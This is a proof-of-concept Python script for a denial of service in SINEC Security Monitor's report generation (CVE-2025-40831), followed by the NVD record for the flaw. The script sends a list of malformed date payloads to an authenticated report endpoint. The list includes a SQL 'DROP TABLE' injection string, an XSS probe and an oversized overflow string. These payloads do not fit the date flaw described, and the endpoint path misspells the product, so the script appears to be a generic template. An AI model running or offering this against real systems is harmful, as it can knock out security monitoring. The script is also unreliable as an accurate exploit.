CVE-2025-40831

# CVE-2025-40831 PoC - SINEC Security Monitor DoS via Date Parameter # Requires low-privilege authenticated access import requests import sys from datetime import datetime TARGET_URL = "https://<target-ip>/sinsec/api/reports/generate" # Malicious date payloads to test PAYLOADS = [ "9999-99-99", # Invalid date format "1900-02-30", # Invalid day in month "0001-00-01", # Invalid month "<script>alert(1)</script>", # XSS attempt "'; DROP TABLE reports;--", # SQL injection attempt "a" * 10000, # Buffer overflow "\x00\x00\x00", # Null bytes ] def test_dos(): headers = { 'Authorization': 'Bearer <low-privilege-token>', 'Content-Type': 'application/json' } for payload in PAYLOADS: data = { "report_type": "security_audit", "start_date": payload, "end_date": "2025-01-01" } try: response = requests.post(TARGET_URL, json=data, headers=headers, timeout=30) print(f"[*] Payload: {payload[:20]}... Status: {response.status_code}") if response.status_code == 500 or response.status_code == 503: print(f"[!] DoS condition triggered with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-40831 PoC - SINEC Security Monitor Date Validation DoS") test_dos()

{"cve": {"id": "CVE-2025-40831", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:46.893", "lastModified": "2025-12-10T21:38:30.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SINEC Security Monitor (All versions < V4.10.0). The affected application lacks input validation of date parameter in report generation functionality. This could allow an authenticated, lowly privileged attacker to cause denial of service condition of the report functionality."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:sinec_security_monitor:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.10.0", "matchCriteriaId": "3A1CC5F1-064E-4D68-9A3D-216027F1C4E6"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-882673.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}